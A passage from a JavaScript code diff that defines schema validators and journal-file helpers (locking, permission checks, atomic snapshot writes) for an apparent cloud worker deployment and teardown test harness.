+      className: scenarioEnum('Maintenance', 'Runner'),
+      namespaceId: scenarioId,
+    },
+    2,
+  ),
+  bucket: {
+    name: scenarioId,
+    jurisdiction: 'default',
+    creationDate: scenarioDate,
+  },
+};
+const receiptShape = {
+  version: 1,
+  authority: scenarioLocation,
+  databaseId: scenarioId,
+  operationId: scenarioId,
+};
+const exportShape = {
+  verified: true,
+  role: normalRole,
+  receipt: receiptShape,
+  location: scenarioLocation,
+  size: scenarioNumber,
+  sha256: digest,
+  sourceInvocationOrdinal: scenarioNumber,
+};
+const cleanupShape = {
+  version: 1,
+  operationId: scenarioId,
+  tenantTag: scenarioId,
+  environment: scenarioId,
+  backend: 'plain-worker',
+  scriptName: scenarioId,
+  databaseId: scenarioId,
+  databaseName: scenarioId,
+  authority: 'provisioning-rollback',
+  admittedPhase: scenarioId,
+  disposition: scenarioEnum(
+    'prepublication-owned-no-export',
+    'reservation-cleared',
+  ),
+  evidence: {
+    eligibility: scenarioEnum(
+      'carrier-null',
+      'legacy-phase-impossible',
+      'reservation-only',
+    ),
+    ingressRemoved: true,
+    workerAbsent: true,
+    platformResourcesAbsent: true,
+    applicationR2Settled: true,
+    databaseAbsentReadback: true,
+    scan: optional({
+      discover: { evidenceSha256: digest, evidenceCount: scenarioNumber },
+      verify: { evidenceSha256: digest, evidenceCount: scenarioNumber },
+    }),
+  },
+  completedAtMs: scenarioNumber,
+};
+const noEntries = boundedArray(scenarioId, 0);
+const footprintShape = {
+  version: 1,
+  role: 'recovery',
+  beforeIdentitySha256: digest,
+  fleetRecordPresent: false,
+  deploymentClaimsPresent: false,
+  database: { id: scenarioId, expectedName: scenarioId, observedName: null },
+  worker: {
+    scriptName: scenarioId,
+    scriptPresent: scenarioFlag,
+    workersDevEnabled: scenarioEnum(false, null),
+    previewUrlsEnabled: scenarioEnum(false, null),
+    customDomains: noEntries,
+    zoneRoutes: noEntries,
+    currentSecretNames: noEntries,
+    currentVersionIds: nullable(
+      boundedArray(
+        scenarioId,
+        DIRECT_SCENARIO_ARRAY_MAXIMA.footprintVersionIds,
+      ),
+    ),
+    currentNamespaceIds: boundedArray(scenarioId, 2),
+    survivingRecordedNamespaceIds: boundedArray(scenarioId, 2),
+  },
+  buckets: boundedArray(
+    {
+      bindingName: 'PROBE_BUCKET',
+      bucketName: scenarioId,
+      jurisdiction: 'default',
+      expectedCreationDate: scenarioDate,
+      observedCreationDate: nullable(scenarioDate),
+    },
+    1,
+  ),
+  priorCleanup: {
+    operationId: scenarioId,
+    observedReceiptSha256: digest,
+    matchesBefore: true,
+  },
+};
+const operationSlots = scenarioEnum(...DIRECT_SCENARIO_OPERATION_SLOTS);
+const processShape = {
+  pid: scenarioNumber,
+  startTicks: scenarioId,
+  bootId: scenarioId,
+};
+const decommissionShape = {
+  operationId: scenarioId,
+  databaseId: scenarioId,
+  scriptName: scenarioId,
+  phase: 'decommissioned',
+};
+const callShape = {
+  ordinal: scenarioNumber,
+  action: (value) => {
+    if (
+      !value ||
+      typeof value !== 'object' ||
+      Array.isArray(value) ||
+      Object.keys(value).some((key) => !SUMMARY_FIELDS.includes(key))
+    )
+      invalid();
+    const result = {};
+    for (const [key, field] of Object.entries(value))
+      result[key] = NUMERIC_SUMMARY_FIELDS.has(key)
+        ? scenarioNumber(field)
+        : scenarioId(field);
+    if (typeof value.kind !== 'string') invalid();
+    return Object.freeze(result);
+  },
+  outcome: scenarioEnum(
+    'prepared',
+    'returned',
+    'injected-response-loss',
+    'reference-refused',
+  ),
+  attempts: nullable(attemptsShape),
+  migration: nullable({
+    itemOrdinal: scenarioEnum(0, 1),
+    cursor: scenarioNumber,
+    step: scenarioId,
+    itemsSha256: digest,
+  }),
+  before: optional(
+    nullable({ databaseId: scenarioId, scriptName: scenarioId }),
+  ),
+};
+const inventoryShape = {
+  operationId: scenarioId,
+  generation: scenarioNumber,
+  calls: scenarioNumber,
+  databaseIds: boundedArray(
+    scenarioId,
+    DIRECT_SCENARIO_ARRAY_MAXIMA.inventory.databaseIds,
+  ),
+  namespaceIds: boundedArray(
+    scenarioId,
+    DIRECT_SCENARIO_ARRAY_MAXIMA.inventory.namespaceIds,
+  ),
+  scriptNames: boundedArray(
+    scenarioId,
+    DIRECT_SCENARIO_ARRAY_MAXIMA.inventory.scriptNames,
+  ),
+  routeHostnames: boundedArray(
+    scenarioHostname,
+    DIRECT_SCENARIO_ARRAY_MAXIMA.inventory.routeHostnames,
+  ),
+  bucketNames: boundedArray(
+    scenarioId,
+    DIRECT_SCENARIO_ARRAY_MAXIMA.inventory.bucketNames,
+  ),
+  findings: boundedArray(
+    { kind: scenarioId, detailSha256: digest },
+    DIRECT_SCENARIO_ARRAY_MAXIMA.inventory.findings,
+  ),
+};
+const auditShape = {
+  operationId: scenarioId,
+  generation: scenarioNumber,
+  recordCount: 2,
+  findingCount: scenarioNumber,
+  finalizedAtMs: scenarioNumber,
+  findings: boundedArray(
+    {
+      tenantTag: scenarioId,
+      environment: scenarioId,
+      kind: scenarioId,
+      detailSha256: digest,
+    },
+    DIRECT_SCENARIO_ARRAY_MAXIMA.auditFindings,
+  ),
+};
+const operationsShape = boundedArray(
+  {
+    slot: operationSlots,
+    operationId: nullable(scenarioId),
+    inputSha256: digest,
+    tokenRevision: nullable(scenarioNumber),
+  },
+  DIRECT_SCENARIO_OPERATION_SLOTS.length,
+);
+const recordsShape = boundedArray(
+  {
+    role: scenarioRole,
+    present: scenarioFlag,
+    phase: nullable(scenarioId),
+    desiredSpecDigest: nullable(digest),
+    pendingSpecDigest: nullable(digest),
+    artifactVersion: nullable(scenarioId),
+    pendingArtifactVersion: nullable(scenarioId),
+    databaseId: nullable(scenarioId),
+  },
+  3,
+);
+const healthShape = boundedArray(
+  {
+    role: scenarioRole,
+    release: scenarioEnum('1', '2'),
+    marker: scenarioEnum('initial', 'next'),
+    ordinal: scenarioNumber,
+  },
+  DIRECT_SCENARIO_ARRAY_MAXIMA.health,
+);
+const stepsShape = boundedArray(
+  {
+    ordinal: scenarioNumber,
+    itemOrdinal: scenarioEnum(0, 1),
+    step: scenarioId,
+    beforeCursor: scenarioNumber,
+    afterCursor: scenarioNumber,
+    provider: scenarioNumber,
+    maintenance: scenarioNumber,
+    application: scenarioNumber,
+  },
+  DIRECT_SCENARIO_ARRAY_MAXIMA.steps,
+);
+const effectsShape = boundedArray(
+  {
+    role: normalRole,
+    tenantTag: scenarioId,
+    environment: scenarioId,
+    scriptName: scenarioId,
+    databaseId: scenarioId,
+    versionId: scenarioId,
+    specDigest: digest,
+    schemaVersion: 2,
+    settlementKey: digest,
+    identitySha256: digest,
+    provenanceSha256: digest,
+  },
+  2,
+);
+const exportVerificationsShape = boundedArray(
+  exportShape,
+  DIRECT_SCENARIO_ARRAY_MAXIMA.exportVerifications,
+);
+const categoryShape = {
+  category: scenarioId,
+  class: scenarioEnum('work', 'standing'),
+  empty: scenarioFlag,
+};
+const sweepCategoriesShape = boundedArray(
+  categoryShape,
+  DIRECT_SCENARIO_ARRAY_MAXIMA.inventoryCategories,
+);
+const fenceReadingShape = {
+  state: scenarioEnum('open', 'draining', 'migration-locked', 'proof-only'),
+  mutationEpoch: scenarioNumber,
+  requireMutationEpoch: scenarioFlag,
+  transitionRevision: scenarioNumber,
+};
+const fenceTransitionShape = {
+  before: fenceReadingShape,
+  after: nullable(fenceReadingShape),
+  ordinal: nullable(scenarioNumber),
+};
+const fenceSweepShape = {
+  fence: fenceReadingShape,
+  categories: sweepCategoriesShape,
+  observedAt: scenarioNumber,
+  ordinal: scenarioNumber,
+};
+const fenceSweepsShape = {
+  first: fenceSweepShape,
+  second: nullable(fenceSweepShape),
+  intervalMs: nullable(scenarioNumber),
+};
+const fenceProbesShape = {
+  current: 'accepted',
+  missing: 'missing',
+  stale: 'stale',
+  future: 'future',
+  mutationEpoch: scenarioNumber,
+  ordinal: scenarioNumber,
+};
+const fenceGroupShape = Object.freeze({
+  drain: fenceTransitionShape,
+  sweeps: fenceSweepsShape,
+  reopen: fenceTransitionShape,
+  probes: fenceProbesShape,
+});
+// One schema, built once: `decodeScenario` reads it on every call rather
+// than rebuilding the nested literal, so the module carries one shape idiom.
+const scenarioSchema = {
+  version: 1,
+  phase: scenarioEnum(...DIRECT_SCENARIO_PHASES),
+  startedOrdinal: scenarioNumber,
+  callCount: scenarioNumber,
+  phaseCalls: Object.fromEntries(
+    DIRECT_SCENARIO_PHASES.map((phase) => [phase, scenarioNumber]),
+  ),
+  attempts: attemptsShape,
+  sdkRequests: scenarioNumber,
+  inventoryCalls: { before: scenarioNumber, after: scenarioNumber },
+  lastCall: nullable(callShape),
+  mutation: nullable(callShape),
+  reconciledOrdinal: scenarioNumber,
+  operations: operationsShape,
+  records: recordsShape,
+  failure: nullable({
+    code: scenarioEnum(...DIRECT_SCENARIO_FAILURES),
+    ordinal: scenarioNumber,
+    detail: optional(scenarioEnum(...DIRECT_SCENARIO_FAILURE_DETAILS)),
+  }),
+  proofs: {
+    initial: {
+      a: nullable(workerVersionShape),
+      b: nullable(workerVersionShape),
+      recovery: nullable(workerVersionShape),
+    },
+    candidate: {
+      a: nullable(workerVersionShape),
+      b: nullable(workerVersionShape),
+    },
+    final: {
+      a: nullable(workerVersionShape),
+      b: nullable(workerVersionShape),
+    },
+    objects: {
+      a: nullable({ size: scenarioNumber, sha256: digest }),
+      b: nullable({ size: scenarioNumber, sha256: digest }),
+    },
+    objectDeletions: {
+      a: nullable(scenarioNumber),
+      b: nullable(scenarioNumber),
+    },
+    recoveryExportAbsent: {
+      beforeOrdinal: nullable(scenarioNumber),
+      afterOrdinal: nullable(scenarioNumber),
+    },
+    health: healthShape,
+    inventories: {
+      before: nullable(inventoryShape),
+      after: nullable(inventoryShape),
+    },
+    audits: { before: nullable(auditShape), after: nullable(auditShape) },
+    fence: Object.fromEntries(
+      Object.entries(fenceGroupShape).map(([group, shape]) => [
+        group,
+        { a: nullable(shape), b: nullable(shape) },
+      ]),
+    ),
+    restart: nullable({
+      process: processShape,
+      resumedProcess: nullable(processShape),
+      lossOrdinal: scenarioNumber,
+      operationId: scenarioId,
+      witnessSha256: digest,
+      claimSha256: digest,
+      successorSha256: digest,
+      itemsSha256: digest,
+      replayOrdinal: nullable(scenarioNumber),
+    }),
+    steps: stepsShape,
+    effects: effectsShape,
+    cleanup: nullable(cleanupShape),
+    exports: { a: nullable(exportShape), b: nullable(exportShape) },
+    exportVerifications: exportVerificationsShape,
+    decommission: {
+      a: nullable(decommissionShape),
+      b: nullable(decommissionShape),
+    },
+    terminalForce: {
+      a: nullable({
+        databaseId: scenarioId,
+        scriptName: scenarioId,
+        ordinal: scenarioNumber,
+        attempts: attemptsShape,
+      }),
+    },
+    force: nullable(footprintShape),
+    residual: nullable(footprintShape),
+  },
+};
+
+function decodeScenario(value, invocationCount) {
+  if (
+    value &&
+    typeof value === 'object' &&
+    !Array.isArray(value) &&
+    Object.hasOwn(value, 'version') &&
+    value.version !== 1
+  )
+    throw new DirectRunStateError('unsupported-scenario-version');
+  const result = scenarioShape(value, scenarioSchema);
+  if (
+    result.startedOrdinal > invocationCount ||
+    result.callCount > invocationCount - result.startedOrdinal ||
+    Object.values(result.phaseCalls).reduce(
+      (total, count) => total + count,
+      0,
+    ) !== result.callCount
+  )
+    invalid();
+  for (const call of [result.lastCall, result.mutation]) {
+    if (!call) continue;
+    if (
+      call.ordinal > invocationCount + (call.outcome === 'prepared' ? 1 : 0) ||
+      call.ordinal < 1 ||
+      (call.outcome === 'prepared') !== (call.attempts === null) ||
+      Object.hasOwn(call, 'before') !==
+        (call.action.kind === 'force-terminal' && call.outcome !== 'prepared')
+    )
+      invalid();
+  }
+  for (const proof of Object.values(result.proofs.exports))
+    if (
+      proof &&
+      (proof.sourceInvocationOrdinal < 1 ||
+        proof.sourceInvocationOrdinal > invocationCount ||
+        proof.size < 1)
+    )
+      invalid();
+  if (
+    new Set(result.operations.map((entry) => entry.slot)).size !==
+      result.operations.length ||
+    new Set(result.records.map((entry) => entry.role)).size !==
+      result.records.length
+  )
+    invalid();
+  validateScenarioProofs(result, invocationCount);
+  return result;
+}
+
+function validateScenarioProofs(state, invocationCount) {
+  const proof = state.proofs;
+  const past = (phase) =>
+    DIRECT_SCENARIO_PHASES.indexOf(state.phase) >
+    DIRECT_SCENARIO_PHASES.indexOf(phase);
+  const need = (condition) => {
+    if (!condition) invalid();
+  };
+  for (const role of ['a', 'b', 'recovery']) {
+    if (past(`provision-${role}`))
+      need(
+        proof.initial[role] &&
+          proof.health.some(
+            (entry) =>
+              entry.role === role &&
+              entry.release === '1' &&
+              entry.marker === 'initial',
+          ),
+      );
+    if (role === 'recovery') continue;
+    if (past(`provision-${role}`)) need(proof.objects[role]);
+    if (past('migration'))
+      need(
+        proof.candidate[role]?.trafficPercentage === 0 &&
+          proof.final[role]?.trafficPercentage === 100 &&
+          proof.steps.some(
+            (entry) =>
+              entry.itemOrdinal === (role === 'a' ? 0 : 1) &&
+              entry.step === 'arm-maintenance' &&
+              entry.maintenance > 0,
+          ),
+      );
+    if (past('post-migration'))
+      need(
+        proof.health.some(
+          (entry) =>
+            entry.role === role &&
+            entry.release === '2' &&
+            entry.marker === 'next',
+        ),
+      );
+    if (past('delete-objects')) need(proof.objectDeletions[role] > 0);
+    if (past(`decommission-${role}`))
+      need(proof.exports[role] && proof.decommission[role]);
+  }
+  for (const when of ['before', 'after']) {
+    if (past(`inventory-${when}`)) need(proof.inventories[when]?.calls > 1);
+    if (past(`audit-${when}`))
+      need(
+        proof.audits[when]?.recordCount === 2 &&
+          proof.audits[when].findingCount ===
+            proof.audits[when].findings.length &&
+          proof.audits[when].generation === proof.inventories[when].generation,
+      );
+  }
+  if (past('migration-interrupt')) need(proof.restart);
+  if (past('migration-restart'))
+    need(proof.restart?.replayOrdinal && proof.restart.resumedProcess);
+  if (past('migration')) need(proof.effects.length === 2);
+  if (past('cleanup-recovery')) need(proof.cleanup);
+  if (past('force-terminal-a')) need(proof.terminalForce.a);
+  if (past('force-recovery'))
+    need(proof.recoveryExportAbsent.beforeOrdinal > 0);
+  if (past('force-observe'))
+    need(proof.force && proof.recoveryExportAbsent.afterOrdinal > 0);
+  if (past('recover-force-residual')) need(proof.residual);
+  if (past('fence-drain'))
+    need(
+      ['a', 'b'].every(
+        (role) =>
+          proof.fence.drain[role]?.after &&
+          proof.fence.drain[role].ordinal !== null &&
+          proof.fence.sweeps[role]?.first,
+      ),
+    );
+  if (past('fence-reopen'))
+    need(
+      ['a', 'b'].every(
+        (role) =>
+          proof.fence.sweeps[role]?.second &&
+          proof.fence.sweeps[role].intervalMs !== null &&
+          proof.fence.reopen[role]?.after &&
+          proof.fence.reopen[role].ordinal !== null,
+      ),
+    );
+  if (past('fence-proofs'))
+    need(['a', 'b'].every((role) => proof.fence.probes[role]));
+  for (const ordinal of [
+    state.reconciledOrdinal,
+    proof.terminalForce.a?.ordinal ?? null,
+    ...Object.values(proof.objectDeletions),
+    ...Object.values(proof.recoveryExportAbsent),
+    ...proof.health.map((entry) => entry.ordinal),
+    ...proof.steps.map((entry) => entry.ordinal),
+    // A null reaches the bound check and is skipped there, so each group
+    // contributes whatever ordinal it carries.
+    ...['drain', 'reopen', 'probes'].flatMap((group) =>
+      Object.values(proof.fence[group]).map((entry) => entry?.ordinal ?? null),
+    ),
+    ...Object.values(proof.fence.sweeps).flatMap((entry) =>
+      entry ? [entry.first.ordinal, entry.second?.ordinal ?? null] : [],
+    ),
+  ])
+    if (ordinal !== null) need(ordinal <= invocationCount);
+  if (proof.restart) {
+    need(
+      proof.restart.lossOrdinal > 0 &&
+        proof.restart.lossOrdinal <= invocationCount,
+    );
+    if (proof.restart.replayOrdinal !== null)
+      need(
+        proof.restart.replayOrdinal > proof.restart.lossOrdinal &&
+          proof.restart.replayOrdinal <= invocationCount &&
+          proof.restart.resumedProcess &&
+          JSON.stringify(proof.restart.process) !==
+            JSON.stringify(proof.restart.resumedProcess),
+      );
+  }
+}
+
+async function validateScenarioActions(state, binding) {
+  for (const call of [state.lastCall, state.mutation]) {
+    if (!call) continue;
+    await decodeRequest(
+      JSON.stringify({
+        contractVersion: 1,
+        configSha256: binding.configSha256,
+        action: replayableAction(call.action),
+      }),
+      binding.configSha256,
+    );
+  }
+}
+
+function bootstrapContext(value, binding) {
+  object(value, [
+    'names',
+    'zoneId',
+    'zoneName',
+    'accountWorkersDevSubdomain',
+    'dispatch',
+  ]);
+  const hostname = identifier(value.names?.referenceHostname, 253);
+  const prefix = `${binding.resourcePrefix}-reference.`;
+  if (!hostname.startsWith(prefix)) invalid();
+  const ownedHostname = hostname.slice(prefix.length);
+  const names = deriveDirectConformanceNames({
+    resourcePrefix: binding.resourcePrefix,
+    ownedHostname,
+  });
+  equalShape(value.names, names);
+  const zoneId = identifier(value.zoneId);
+  const zoneName = identifier(value.zoneName, 253);
+  if (
+    !/^[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?$/u.test(zoneName) ||
+    zoneName.split('.').some((label) => !DNS_LABEL.test(label)) ||
+    (ownedHostname !== zoneName && !ownedHostname.endsWith(`.${zoneName}`))
+  )
+    invalid();
+  const subdomain = identifier(value.accountWorkersDevSubdomain);
+  if (!DNS_LABEL.test(subdomain)) invalid();
+  object(value.dispatch, ['kind', 'count']);
+  const { kind, count } = value.dispatch;
+  if (
+    !Number.isSafeInteger(count) ||
+    count < 0 ||
+    count > 10_000 ||
+    !['first-page-404', 'empty', 'enumerated'].includes(kind) ||
+    (kind === 'enumerated' ? count === 0 : count !== 0)
+  )
+    invalid();
+  return Object.freeze({
+    names,
+    zoneId,
+    zoneName,
+    accountWorkersDevSubdomain: subdomain,
+    dispatch: Object.freeze({ kind, count }),
+  });
+}
+
+const MUTATION_FIELD = Object.freeze({
+  'create-fleet-d1': 'fleet',
+  'create-quota-d1': 'quota',
+  'create-export-r2': 'exports',
+  'upload-reference': 'upload',
+  'enable-reference-ingress': 'ingress',
+});
+
+function mutationField(kind) {
+  if (typeof kind !== 'string' || !Object.hasOwn(MUTATION_FIELD, kind))
+    invalid();
+  return MUTATION_FIELD[kind];
+}
+
+function decodeBootstrap(value, binding, invocationCount, lastInvocation) {
+  if (value === null) return null;
+  object(value, [
+    'context',
+    'fleet',
+    'quota',
+    'exports',
+    'upload',
+    'active',
+    'ingress',
+    'controlReadOrdinal',
+    'pending',
+  ]);
+  const context = bootstrapContext(value.context, binding);
+  const result = { context };
+  for (const [key, name] of [
+    ['fleet', context.names.fleetDatabase],
+    ['quota', context.names.quotaDatabase],
+  ]) {
+    const receipt = value[key];
+    if (receipt === null) result[key] = null;
+    else {
+      object(receipt, ['uuid', 'name']);
+      if (receipt.name !== name) invalid();
+      result[key] = Object.freeze({ uuid: identifier(receipt.uuid), name });
+    }
+  }
+  if (result.fleet && result.quota && result.fleet.uuid === result.quota.uuid)
+    invalid();
+  if (value.exports !== null) {
+    object(value.exports, ['name', 'jurisdiction', 'creationDate']);
+    const { name, jurisdiction, creationDate } = value.exports;
+    if (
+      name !== context.names.exportBucket ||
+      jurisdiction !== 'default' ||
+      typeof creationDate !== 'string' ||
+      creationDate.length > 32 ||
+      !Number.isFinite(Date.parse(creationDate)) ||
+      new Date(creationDate).toISOString() !== creationDate
+    )
+      invalid();
+    result.exports = Object.freeze({ name, jurisdiction, creationDate });
+  } else result.exports = null;
+  if (value.upload !== null) {
+    object(value.upload, ['scriptName', 'tag', 'etag']);
+    if (value.upload.scriptName !== context.names.referenceWorker) invalid();
+    result.upload = Object.freeze({
+      scriptName: value.upload.scriptName,
+      tag: value.upload.tag === null ? null : identifier(value.upload.tag),
+      etag: value.upload.etag === null ? null : identifier(value.upload.etag),
+    });
+  } else result.upload = null;
+  if (value.active !== null) {
+    object(value.active, ['deploymentId', 'versionId']);
+    result.active = Object.freeze({
+      deploymentId: identifier(value.active.deploymentId),
+      versionId: identifier(value.active.versionId),
+    });
+  } else result.active = null;
+  if (value.ingress !== null) {
+    equalShape(value.ingress, { enabled: true, previewsEnabled: false });
+    result.ingress = Object.freeze({ enabled: true, previewsEnabled: false });
+  } else result.ingress = null;
+  const ordinal = value.controlReadOrdinal;
+  if (
+    ordinal !== null &&
+    (!Number.isSafeInteger(ordinal) ||
+      ordinal < 1 ||
+      ordinal > invocationCount ||
+      (ordinal === invocationCount &&
+        (lastInvocation?.state !== 'settled' ||
+          lastInvocation.action.kind !== 'control-read')))
+  )
+    invalid();
+  result.controlReadOrdinal = ordinal;
+  const fields = [
+    'fleet',
+    'quota',
+    'exports',
+    'upload',
+    'active',
+    'ingress',
+    'controlReadOrdinal',
+  ];
+  for (let index = 1; index < fields.length; index++) {
+    if (result[fields[index]] !== null && result[fields[index - 1]] === null)
+      invalid();
+  }
+  result.pending = value.pending;
+  if (value.pending !== null) {
+    const index = fields.indexOf(mutationField(value.pending));
+    if (
+      lastInvocation?.state === 'pending' ||
+      (index > 0 && result[fields[index - 1]] === null) ||
+      fields.slice(index + 1).some((field) => result[field] !== null)
+    )
+      invalid();
+  }
+  return Object.freeze(result);
+}
+
+const teardownText = (max) => (value) => {
+  identifier(value, max);
+  // Journal capacity is budgeted in bytes; `identifier` bounds UTF-16 units.
+  if (Buffer.byteLength(value) > max) invalid();
+  return value;
+};
+const teardownSettleAttempts = (value) => {
+  scenarioNumber(value);
+  if (value < 1 || value > DIRECT_TEARDOWN_MAXIMA.settleAttempts) invalid();
+  return value;
+};
+const teardownJurisdictions = (value) => {
+  if (!Array.isArray(value) || value.length !== 1 || value[0] !== 'default')
+    invalid();
+  return Object.freeze(['default']);
+};
+const residualSurfaceShape = {
+  prefixCount: scenarioNumber,
+  prefixNames: boundedArray(
+    teardownText(DIRECT_TEARDOWN_MAXIMA.nameBytes),
+    DIRECT_TEARDOWN_MAXIMA.prefixNames,
+  ),
+  globalCount: nullable(scenarioNumber),
+  exhaustive: scenarioFlag,
+};
+const residualShape = {
+  version: 1,
+  surfaces: Object.fromEntries(
+    DIRECT_RESIDUAL_SURFACES.map((surface) => [surface, residualSurfaceShape]),
+  ),
+  bucketJurisdictions: teardownJurisdictions,
+  dispatch: {
+    kind: scenarioEnum('first-page-404', 'empty', 'enumerated', 'fail-closed'),
+    count: scenarioNumber,
+    status: nullable(scenarioNumber),
+    prefixCount: scenarioNumber,
+  },
+  versionsGone: nullable(scenarioFlag),
+  settleAttempts: teardownSettleAttempts,
+};
+const teardownSettlement = {
+  ordinal: scenarioNumber,
+  settledByReread: scenarioFlag,
+};
+const teardownShape = {
+  version: 1,
+  phase: scenarioEnum(...DIRECT_TEARDOWN_PHASES),
+  pending: nullable({
+    kind: scenarioEnum(...DIRECT_TEARDOWN_MUTATIONS),
+    key: optional(teardownText(DIRECT_TEARDOWN_MAXIMA.keyBytes)),
+  }),
+  receipts: {
+    ingress: nullable(teardownSettlement),
+    worker: nullable({
+      scriptName: teardownText(DIRECT_TEARDOWN_MAXIMA.nameBytes),
+      secretNames: boundedArray(
+        teardownText(DIRECT_TEARDOWN_MAXIMA.nameBytes),
+        DIRECT_TEARDOWN_MAXIMA.secretNames,
+      ),
+      ...teardownSettlement,
+    }),
+    fleet: nullable({
+      uuid: teardownText(DIRECT_TEARDOWN_MAXIMA.nameBytes),
+      ...teardownSettlement,
+    }),
+    quota: nullable({
+      uuid: teardownText(DIRECT_TEARDOWN_MAXIMA.nameBytes),
+      ...teardownSettlement,
+    }),
+    exportObjects: boundedArray(
+      {
+        key: teardownText(DIRECT_TEARDOWN_MAXIMA.keyBytes),
+        ...teardownSettlement,
+      },
+      DIRECT_TEARDOWN_MAXIMA.exportObjects,
+    ),
+    exports: nullable({
+      name: teardownText(DIRECT_TEARDOWN_MAXIMA.nameBytes),
+      ...teardownSettlement,
+    }),
+  },
+  residual: nullable(residualShape),
+  providerRequests: scenarioNumber,
+  failure: nullable(scenarioEnum(...DIRECT_TEARDOWN_FAILURES)),
+};
+
+function teardownReceiptSet(receipts, field) {
+  return field === 'exportObjects'
+    ? receipts.exportObjects.length > 0
+    : receipts[field] !== null;
+}
+
+function teardownOrdinals(state) {
+  return [
+    ...TEARDOWN_RECEIPT_ORDER.filter((field) => field !== 'exportObjects')
+      .map((field) => state.receipts[field]?.ordinal)
+      .filter((ordinal) => ordinal !== undefined),
+    ...state.receipts.exportObjects.map((entry) => entry.ordinal),
+  ];
+}
+
+function decodeTeardown(value) {
+  const result = scenarioShape(value, teardownShape);
+  const { pending, receipts } = result;
+  if (pending) {
+    const keyed = pending.kind === 'delete-export-object';
+    if (keyed !== Object.hasOwn(pending, 'key')) invalid();
+    // One atomic write publishes a receipt and clears the pending that names
+    // it, so this intermediate never reaches disk.
+    if (
+      keyed
+        ? receipts.exportObjects.some((entry) => entry.key === pending.key)
+        : receipts[TEARDOWN_RECEIPT_FIELD[pending.kind]] !== null
+    )
+      invalid();
+  }
+  const keys = new Set(receipts.exportObjects.map((entry) => entry.key));
+  if (keys.size !== receipts.exportObjects.length) invalid();
+  TEARDOWN_RECEIPT_ORDER.forEach((field, index) => {
+    if (!teardownReceiptSet(receipts, field)) return;
+    for (const earlier of TEARDOWN_RECEIPT_ORDER.slice(0, index))
+      if (
+        !(field === 'exports' && earlier === 'exportObjects') &&
+        !teardownReceiptSet(receipts, earlier)
+      )
+        invalid();
+  });
+  if (
+    result.phase === 'refused' &&
+    (pending !== null ||
+      result.failure === null ||
+      TEARDOWN_RECEIPT_ORDER.some((field) =>
+        teardownReceiptSet(receipts, field),
+      ))
+  )
+    invalid();
+  if (result.residual !== null && !RESIDUAL_PHASES.includes(result.phase))
+    invalid();
+  return result;
+}
+
+// The narrower of the two pending gates: an invocation or bootstrap mutation
+// whose outcome the journal does not know. `assertSettled` adds teardown's own
+// pending mutation; the paths that publish a teardown receipt do not, because
+// that mutation is the one they are recording.
+export function mutationPending(snapshot) {
+  return (
+    snapshot.lastInvocation?.state === 'pending' ||
+    Boolean(snapshot.bootstrap?.pending)
+  );
+}
+
+export function assertPrivate(stat, directory) {
+  if (
+    stat.uid !== process.getuid() ||
+    (stat.mode & 0o7777) !== (directory ? 0o700 : 0o600) ||
+    (directory ? !stat.isDirectory() : !stat.isFile() || stat.nlink !== 1)
+  )
+    invalid();
+}
+
+export function fileFlags(access) {
+  return access | constants.O_NOFOLLOW | constants.O_NONBLOCK;
+}
+
+/**
+ * Removes the staging files a `prefix`/`suffix` pair names from `directory`. A
+ * signal between a staging file's create and its rename leaves it behind, and
+ * the run holds the directory's lock, so any sibling the pair matches is a dead
+ * one from an interrupted publication.
+ */
+export async function sweepStagedFiles(directory, prefix, suffix) {
+  for (const name of await readdir(directory))
+    if (name.startsWith(prefix) && name.endsWith(suffix))
+      await unlink(join(directory, name));
+}
+
+async function privateDirectory(path) {
+  const handle = await open(
+    path,
+    fileFlags(constants.O_RDONLY | constants.O_DIRECTORY),
+  );
+  try {
+    assertPrivate(await handle.stat(), true);
+    return handle;
+  } catch (error) {
+    await handle.close();
+    throw error;
+  }
+}
+
+async function ensureBase(path) {
+  try {
+    await mkdir(path, { mode: 0o700 });
+  } catch (error) {
+    if (error.code !== 'EEXIST') throw error;
+  }
+  const handle = await privateDirectory(path);
+  try {
+    const parent = await open(
+      dirname(path),
+      constants.O_RDONLY | constants.O_DIRECTORY,
+    );
+    try {
+      await parent.sync();
+    } finally {
+      await parent.close();
+    }
+    return handle;
+  } catch (error) {
+    await handle.close();
+    throw error;
+  }
+}
+
+async function acquireLock(path, base) {
+  const handle = await open(
+    path,
+    fileFlags(constants.O_RDWR | constants.O_CREAT),
+    0o600,
+  );
+  try {
+    assertPrivate(await handle.stat(), false);
+    const acquired = await new Promise((fulfill) => {
+      const child = spawn(
+        '/usr/bin/flock',
+        ['--exclusive', '--nonblock', '3'],
+        { stdio: ['ignore', 'ignore', 'ignore', handle.fd], env: {} },
+      );
+      let failed = false;
+      child.once('error', () => {
+        failed = true;
+      });
+      child.once('close', (status, signal) => {
+        fulfill(!failed && status === 0 && signal === null);
+      });
+    });
+    if (!acquired) throw new DirectRunStateError('lock-unavailable');
+    await handle.sync();
+    await base.sync();
+    return handle;
+  } catch (error) {
+    await handle.close();
+    throw error;
+  }
+}
+
+async function readSnapshot(path, binding) {
+  const handle = await open(path, fileFlags(constants.O_RDONLY));
+  try {
+    const stat = await handle.stat();
+    assertPrivate(stat, false);
+    if (stat.size < 1 || stat.size > DIRECT_RUN_MAX_JOURNAL_BYTES) invalid();
+    const bytes = Buffer.alloc(stat.size);
+    let offset = 0;
+    while (offset < bytes.length) {
+      const { bytesRead } = await handle.read(
+        bytes,
+        offset,
+        bytes.length - offset,
+        offset,
+      );
+      if (bytesRead === 0) invalid();
+      offset += bytesRead;
+    }
+    if ((await handle.read(Buffer.alloc(1), 0, 1, offset)).bytesRead !== 0)
+      invalid();
+    return await decodeSnapshot(
+      JSON.parse(new TextDecoder('utf-8', { fatal: true }).decode(bytes)),
+      binding,
+    );
+  } finally {
+    await handle.close();
+  }
+}
+
+function serialize(snapshot) {
+  return `${JSON.stringify(snapshot)}\n`;
+}
+
+// The staging name a snapshot is written under, before the rename that makes
+// it `journal.json`.
+const JOURNAL_TEMPORARY_PREFIX = '.journal-';
+const JOURNAL_TEMPORARY_SUFFIX = '.tmp';
+
+async function writeSnapshot(directory, handle, snapshot) {
+  const temporary = join(
+    directory,
+    `${JOURNAL_TEMPORARY_PREFIX}${randomUUID()}${JOURNAL_TEMPORARY_SUFFIX}`,
+  );
+  let file;
+  let created = false;
+  try {
+    file = await open(
+      temporary,
+      fileFlags(constants.O_WRONLY | constants.O_CREAT | constants.O_EXCL),
+      0o600,
+    );
+    created = true;
+    assertPrivate(await file.stat(), false);
+    const serialized = serialize(snapshot);
